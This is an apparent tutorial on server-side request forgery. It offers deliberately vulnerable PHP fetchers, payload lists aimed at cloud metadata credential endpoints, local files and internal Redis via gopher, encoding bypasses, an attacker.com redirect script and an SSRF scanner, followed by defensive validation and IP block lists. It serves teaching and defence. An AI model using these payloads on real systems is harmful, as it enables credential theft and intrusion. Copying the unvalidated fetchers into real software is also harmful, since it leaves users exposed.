SSRF - Server Side Request Forgery
Most web application vulnerabilities let you attack the application itself — inject SQL into the database, run JavaScript in a user's browser, execute commands on the server. SSRF is different. With SSRF, you turn the server into your proxy and use it to attack things you can't even reach.
The server sits inside the corporate network. It can talk to internal databases, admin panels, cloud metadata services, and other infrastructure that's completely invisible from the internet. An SSRF vulnerability lets you make the server send requests on your behalf — to those internal systems, as if the requests came from a trusted source.
This is why SSRF jumped into the OWASP Top 10 in 2021 (A10:2021). It's also why the Capital One breach (2019) — one of the largest data breaches in history, exposing 100+ million customer records — was caused by an SSRF vulnerability that accessed AWS metadata credentials.
How SSRF Works
The pattern is simple:
- The application has a feature that fetches a URL (image preview, URL import, webhook, screenshot service, health check)
- The user controls the URL
- The server makes the request — from inside the network
- The attacker targets internal services through the server
Attacker → "Fetch http://169.254.169.254/credentials" → Server → AWS Metadata → Credentials leaked
↑
Server is inside the
network, has access
to internal services
Types of SSRF Attacks
1. Regular SSRF
The attacker can see the full response from the backend request.
2. Blind SSRF
The attacker cannot see the response but can determine if the request was made (useful for port scanning and triggering actions).
3. Semi-Blind SSRF
The attacker gets limited feedback, such as response time differences or error messages.
PHP Web Application Example
Let's examine a vulnerable PHP application and explore various SSRF attack scenarios.
Vulnerable Application
index.php (Main page with URL fetcher)
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<title>URL Fetcher Service</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; }
textarea { width: 100%; height: 300px; }
input[type=\"url\"] { width: 100%; padding: 8px; }
button { padding: 10px 20px; background: #007cba; color: white; border: none; cursor: pointer; }
</style>
</head>
<body>
<div class=\"container\">
<h1>URL Content Fetcher</h1>
<p>Enter a URL to fetch its content:</p>
<form action=\"fetch.php\" method=\"POST\">
<input type=\"url\" name=\"url\" placeholder=\"https://example.com\" required>
<br><br>
<button type=\"submit\">Fetch Content</button>
</form>
<hr>
<h2>Website Screenshot Service</h2>
<p>Generate a screenshot of any website:</p>
<form action=\"screenshot.php\" method=\"POST\">
<input type=\"url\" name=\"url\" placeholder=\"https://example.com\" required>
<br><br>
<button type=\"submit\">Generate Screenshot</button>
</form>
<hr>
<h2>Website Health Checker</h2>
<p>Check if a website is up and running:</p>
<form action=\"health-check.php\" method=\"POST\">
<input type=\"url\" name=\"url\" placeholder=\"https://example.com\" required>
<br><br>
<button type=\"submit\">Check Health</button>
</form>
</div>
</body>
</html>
fetch.php (Vulnerable URL fetcher)
<?php
if (!isset($_POST['url'])) {
header('Location: index.php');
exit;
}
$url = $_POST['url'];
// Vulnerable: No validation of the URL
$content = file_get_contents($url);
if ($content === false) {
$error = error_get_last();
echo \"<h2>Error fetching URL</h2>\";
echo \"<p>Could not fetch content from: \" . htmlspecialchars($url) . \"</p>\";
echo \"<p>Error: \" . htmlspecialchars($error['message']) . \"</p>\";
} else {
echo \"<h2>Content from: \" . htmlspecialchars($url) . \"</h2>\";
echo \"<textarea readonly>\" . htmlspecialchars($content) . \"</textarea>\";
}
echo '<br><br><a href=\"index.php\">Back</a>';
?>
screenshot.php (Vulnerable screenshot service)
<?php
if (!isset($_POST['url'])) {
header('Location: index.php');
exit;
}
$url = $_POST['url'];
// Simulate screenshot service by making HTTP request
// In reality, this might call an internal screenshot service
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, 'ScreenshotService/1.0');
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response === false) {
echo \"<h2>Screenshot Generation Failed</h2>\";
echo \"<p>Could not access: \" . htmlspecialchars($url) . \"</p>\";
} else {
echo \"<h2>Screenshot generated for: \" . htmlspecialchars($url) . \"</h2>\";
echo \"<p>HTTP Status: \" . $httpCode . \"</p>\";
echo \"<p>Content Length: \" . strlen($response) . \" bytes</p>\";
echo \"<p><em>Screenshot would be generated here...</em></p>\";
}
echo '<br><br><a href=\"index.php\">Back</a>';
?>
health-check.php (Vulnerable health checker)
<?php
if (!isset($_POST['url'])) {
header('Location: index.php');
exit;
}
$url = $_POST['url'];
// Parse URL to extract host and port
$parsed = parse_url($url);
$host = $parsed['host'] ?? '';
$port = $parsed['port'] ?? (($parsed['scheme'] ?? '') === 'https' ? 443 : 80);
if (empty($host)) {
echo \"<h2>Invalid URL</h2>\";
echo '<a href=\"index.php\">Back</a>';
exit;
}
// Vulnerable: Direct connection to user-specified host/port
$startTime = microtime(true);
$connection = @fsockopen($host, $port, $errno, $errstr, 5);
$endTime = microtime(true);
$responseTime = round(($endTime - $startTime) * 1000, 2);
echo \"<h2>Health Check Results</h2>\";
echo \"<p><strong>URL:</strong> \" . htmlspecialchars($url) . \"</p>\";
echo \"<p><strong>Host:</strong> \" . htmlspecialchars($host) . \"</p>\";
echo \"<p><strong>Port:</strong> \" . $port . \"</p>\";
echo \"<p><strong>Response Time:</strong> \" . $responseTime . \" ms</p>\";
if ($connection) {
echo \"<p><strong>Status:</strong> <span style='color: green;'>✓ Online</span></p>\";
fclose($connection);
} else {
echo \"<p><strong>Status:</strong> <span style='color: red;'>✗ Offline</span></p>\";
echo \"<p><strong>Error:</strong> \" . htmlspecialchars($errstr) . \"</p>\";
}
echo '<br><br><a href=\"index.php\">Back</a>';
?>
SSRF Attack Examples
1. Accessing Internal Services
Attack on localhost services:
http://localhost:22 # SSH service
http://localhost:3306 # MySQL database
http://localhost:6379 # Redis cache
http://localhost:5432 # PostgreSQL
http://127.0.0.1:8080 # Internal web service
Attack on internal network:
http://192.168.1.1/ # Router admin panel
http://10.0.0.1/ # Internal gateway
http://172.16.0.10:9200 # Elasticsearch cluster
2. Cloud Metadata Exploitation
AWS EC2 Instance Metadata:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/
Google Cloud Metadata:
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure Instance Metadata:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
3. Port Scanning and Service Discovery
Using the health checker to scan internal ports:
http://internal-server:21 # FTP
http://internal-server:25 # SMTP
http://internal-server:53 # DNS
http://internal-server:139 # NetBIOS
http://internal-server:443 # HTTPS
http://internal-server:993 # IMAPS
http://internal-server:1433 # SQL Server
4. Protocol Smuggling
File Protocol:
file:///etc/passwd
file:///etc/hosts
file://C:\Windows\System32\drivers\etc\hosts
Gopher Protocol (if supported):
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a
5. DNS Rebinding Attacks
Using DNS rebinding to bypass IP-based filters:
http://evil.com # Resolves to internal IP through DNS manipulation
Advanced SSRF Techniques
1. URL Bypass Techniques
IP Address Encoding:
// Decimal encoding
http://2130706433/ # 127.0.0.1 in decimal
http://017700000001/ # 127.0.0.1 in octal
http://0x7f000001/ # 127.0.0.1 in hexadecimal
// IPv6
http://[::1]/ # IPv6 localhost
http://[0:0:0:0:0:ffff:127.0.0.1]/ # IPv4-mapped IPv6
URL Encoding:
http://127.0.0.1/ # Normal
http://127%2e0%2e0%2e1/ # URL encoded dots
Domain Tricks:
http://127.0.0.1.example.com/ # If example.com resolves to 127.0.0.1
http://subdomain.127.0.0.1.nip.io/ # Using nip.io service
2. Redirect-Based SSRF
redirect.php (Attacker-controlled redirect)
<?php
$target = $_GET['target'] ?? 'http://127.0.0.1:22';
header(\"Location: \" . $target);
exit;
?>
Attack URL: http://attacker.com/redirect.php?target=http://internal-service/
SSRF Protection Methods
1. URL Validation and Allowlisting
Protected fetch.php
<?php
if (!isset($_POST['url'])) {
header('Location: index.php');
exit;
}
$url = $_POST['url'];
// Validate and sanitize URL
function isUrlSafe($url) {
// Parse the URL
$parsed = parse_url($url);
if (!$parsed || !isset($parsed['scheme']) || !isset($parsed['host'])) {
return false;
}
// Only allow HTTP and HTTPS
if (!in_array($parsed['scheme'], ['http', 'https'])) {
return false;
}
// Allowlist of permitted domains
$allowedDomains = [
'example.com',
'api.example.com',
'cdn.example.com'
];
$host = strtolower($parsed['host']);
// Check if host is in allowlist
$isAllowed = false;
foreach ($allowedDomains as $domain) {
if ($host === $domain || str_ends_with($host, '.' . $domain)) {
$isAllowed = true;
break;
}
}
if (!$isAllowed) {
return false;
}
// Additional checks for IP addresses
if (filter_var($host, FILTER_VALIDATE_IP)) {
return false; // Block all IP addresses
}
return true;
}
if (!isUrlSafe($url)) {
echo \"<h2>Blocked Request</h2>\";
echo \"<p>The URL is not allowed: \" . htmlspecialchars($url) . \"</p>\";
echo '<br><a href=\"index.php\">Back</a>';
exit;
}
// Safe to fetch
$content = file_get_contents($url);
if ($content === false) {
echo \"<h2>Error fetching URL</h2>\";
echo \"<p>Could not fetch content from: \" . htmlspecialchars($url) . \"</p>\";
} else {
echo \"<h2>Content from: \" . htmlspecialchars($url) . \"</h2>\";
echo \"<textarea readonly>\" . htmlspecialchars($content) . \"</textarea>\";
}
echo '<br><br><a href=\"index.php\">Back</a>';
?>
2. IP Address Filtering
function isIpBlocked($ip) {
// Convert IP to long integer for range checking
$ipLong = ip2long($ip);
if ($ipLong === false) {
return true; // Invalid IP
}
// Define blocked IP ranges
$blockedRanges = [
// Localhost
['127.0.0.0', '127.255.255.255'],
// Private networks (RFC 1918)
['10.0.0.0', '10.255.255.255'],
['172.16.0.0', '172.31.255.255'],
['192.168.0.0', '192.168.255.255'],
// Link-local
['169.254.0.0', '169.254.255.255'],
// Multicast
['224.0.0.0', '239.255.255.255'],
];
foreach ($blockedRanges as $range) {
$startLong = ip2long($range[0]);
$endLong = ip2long($range[1]);
if ($ipLong >= $startLong && $ipLong <= $endLong) {
return true;
}
}
return false;
}
function validateUrl($url) {
$parsed = parse_url($url);
if (!$parsed || !isset($parsed['host'])) {
return false;
}
// Resolve hostname to IP
$ip = gethostbyname($parsed['host']);
if ($ip === $parsed['host']) {
// Could not resolve hostname
return false;
}
// Check if IP is blocked
if (isIpBlocked($ip)) {
return false;
}
return true;
}
3. Network-Level Protection
Using cURL with restrictions:
function safeCurlRequest($url) {
// Validate URL first
if (!validateUrl($url)) {
return false;
}
$ch = curl_init();
// Basic settings
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
// Security settings
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Disable dangerous options
curl_setopt($ch, CURLOPT_UNRESTRICTED_AUTH, false);
// User agent
curl_setopt($ch, CURLOPT_USERAGENT, 'SafeClient/1.0');
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['response' => $response, 'http_code' => $httpCode];
}
4. DNS Resolution Control
function customDnsResolve($hostname) {
// Use specific DNS servers
$context = stream_context_create([
'socket' => [
'bindto' => '0:0', // Bind to specific interface
]
]);
// Resolve using system DNS but validate result
$ip = gethostbyname($hostname);
if (isIpBlocked($ip)) {
throw new Exception(\"Resolved IP is blocked: \" . $ip);
}
return $ip;
}
5. Request Proxying
function proxyRequest($url) {
// Use an intermediary proxy that enforces security policies
$proxyUrl = 'https://secure-proxy.internal.com/fetch';
$data = [
'url' => $url,
'timeout' => 10,
'max_size' => 1024 * 1024 // 1MB limit
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $proxyUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Authorization: Bearer ' . INTERNAL_API_TOKEN
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
return json_decode($response, true);
}
Best Practices for SSRF Prevention
1. Input Validation
- Implement strict URL validation
- Use allowlists instead of blocklists
- Validate both hostname and resolved IP addresses
- Check for URL encoding and bypass attempts
2. Network Segmentation
- Isolate web applications from internal services
- Use firewalls to restrict outbound connections
- Implement network access controls
- Use separate networks for different service tiers
3. DNS Security
- Use secure DNS servers
- Implement DNS filtering
- Monitor DNS queries for suspicious patterns
- Consider using DNS sinkholes for known bad domains
4. Application-Level Controls
// Configuration class for SSRF protection
class SSRFProtection {
private static $config = [
'allowed_schemes' => ['http', 'https'],
'allowed_domains' => ['example.com', 'api.example.com'],
'blocked_ips' => [
'127.0.0.0/8',
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
'169.254.0.0/16'
],
'max_redirects' => 3,
'timeout' => 10,
'max_response_size' => 1048576 // 1MB
];
public static function validateUrl($url) {
// Implementation of comprehensive URL validation
// ... (validation logic)
return true;
}
public static function makeRequest($url) {
if (!self::validateUrl($url)) {
throw new Exception('URL validation failed');
}
// Safe request implementation
// ... (request logic)
}
}
Testing for SSRF Vulnerabilities
Manual Testing Checklist
-
Basic SSRF Tests:
http://127.0.0.1http://localhosthttp://[::1]
-
Internal Network Discovery:
http://192.168.1.1http://10.0.0.1http://172.16.0.1
-
Cloud Metadata Services:
http://169.254.169.254http://metadata.google.internal
-
Protocol Testing:
file:///etc/passwdgopher://127.0.0.1:6379ftp://internal-server
-
Encoding Bypass:
http://0177.0.0.1(octal)http://2130706433(decimal)http://0x7f000001(hex)
Automated Testing Tools
- SSRFmap - Automatic SSRF fuzzer and exploitation tool
- Burp Suite - With SSRF detection extensions
- OWASP ZAP - Automated SSRF scanning
- Nuclei - YAML-based vulnerability scanner with SSRF templates
Testing Script Example
<?php
// SSRF vulnerability scanner
function testSSRF($baseUrl, $parameter) {
$payloads = [
'http://127.0.0.1',
'http://localhost',
'http://169.254.169.254',
'file:///etc/passwd',
'http://[::1]',
'http://0177.0.0.1',
'http://2130706433'
];
foreach ($payloads as $payload) {
$testUrl = $baseUrl . '?' . $parameter . '=' . urlencode($payload);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $testUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo \"Testing: \" . $payload . \"\n\";
echo \"HTTP Code: \" . $httpCode . \"\n\";
echo \"Response Length: \" . strlen($response) . \"\n\";
echo \"---\n\";
}
}
// Usage
testSSRF('http://vulnerable-app.com/fetch.php', 'url');
?>
Real-World Impact and Examples
Notable SSRF Vulnerabilities
-
Capital One Data Breach (2019)
- SSRF in web application firewall
- Access to AWS metadata service
- 100+ million customer records exposed
-
Shopify (2017)
- SSRF in image processing functionality
- Internal network access
- $25,000 bug bounty payout
-
Facebook (2017)
- SSRF in image import feature
- Internal service discovery
- Significant security impact
Common Attack Scenarios
Scenario 1: Cloud Environment Compromise
// Attacker requests metadata service
http://169.254.169.254/latest/meta-data/iam/security-credentials/web-server-role
// Server responds with temporary AWS credentials
{
\"Code\": \"Success\",
\"LastUpdated\": \"2023-01-01T12:00:00Z\",
\"Type\": \"AWS-HMAC\",
\"AccessKeyId\": \"ASIA...\",
\"SecretAccessKey\": \"...\",
\"Token\": \"...\",
\"Expiration\": \"2023-01-01T18:00:00Z\"
}
Scenario 2: Internal Service Exploitation
// Port scan internal network
for ($i = 1; $i <= 255; $i++) {
$target = \"http://192.168.1.$i:22\";
// Test if SSH is running on internal hosts
}
// Access internal admin panels
http://192.168.1.10/admin
http://internal-jenkins.company.com/configure
Scenario 3: Database Access
// Access internal Redis instance
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0akeys%0d%0a*%0d%0a
// Access internal MongoDB
http://127.0.0.1:27017/
// Access internal Elasticsearch
http://127.0.0.1:9200/_cluster/health
Final Thoughts
SSRF is deceptively simple — it's just "make the server fetch a URL." But the impact is amplified by the server's network position. It sits inside the perimeter, has access to internal services, holds IAM credentials, and is trusted by other systems. An SSRF vulnerability turns all of that trust into an attack vector.
The cloud made it worse. The metadata service at 169.254.169.254 is the single biggest SSRF target — one request can leak IAM credentials that give access to the entire cloud account. AWS addressed this with IMDSv2 (requiring a session token), but many deployments still run IMDSv1.
The defense is straightforward but requires discipline:
- Allowlist, don't blocklist — specify which domains/IPs are permitted
- Resolve and revalidate — check the resolved IP, not just the hostname (defeats DNS rebinding)
- Restrict protocols — only allow
http:andhttps:, blockfile:,gopher:,ftp: - Network segmentation — the web server shouldn't be able to reach everything internal
- IMDSv2 — if you're on AWS, enforce it. No exceptions.
SSRF will continue to be a critical vulnerability class as long as applications fetch user-controlled URLs. And in the age of microservices, webhooks, and API integrations — that's almost every application.
Thanks for reading!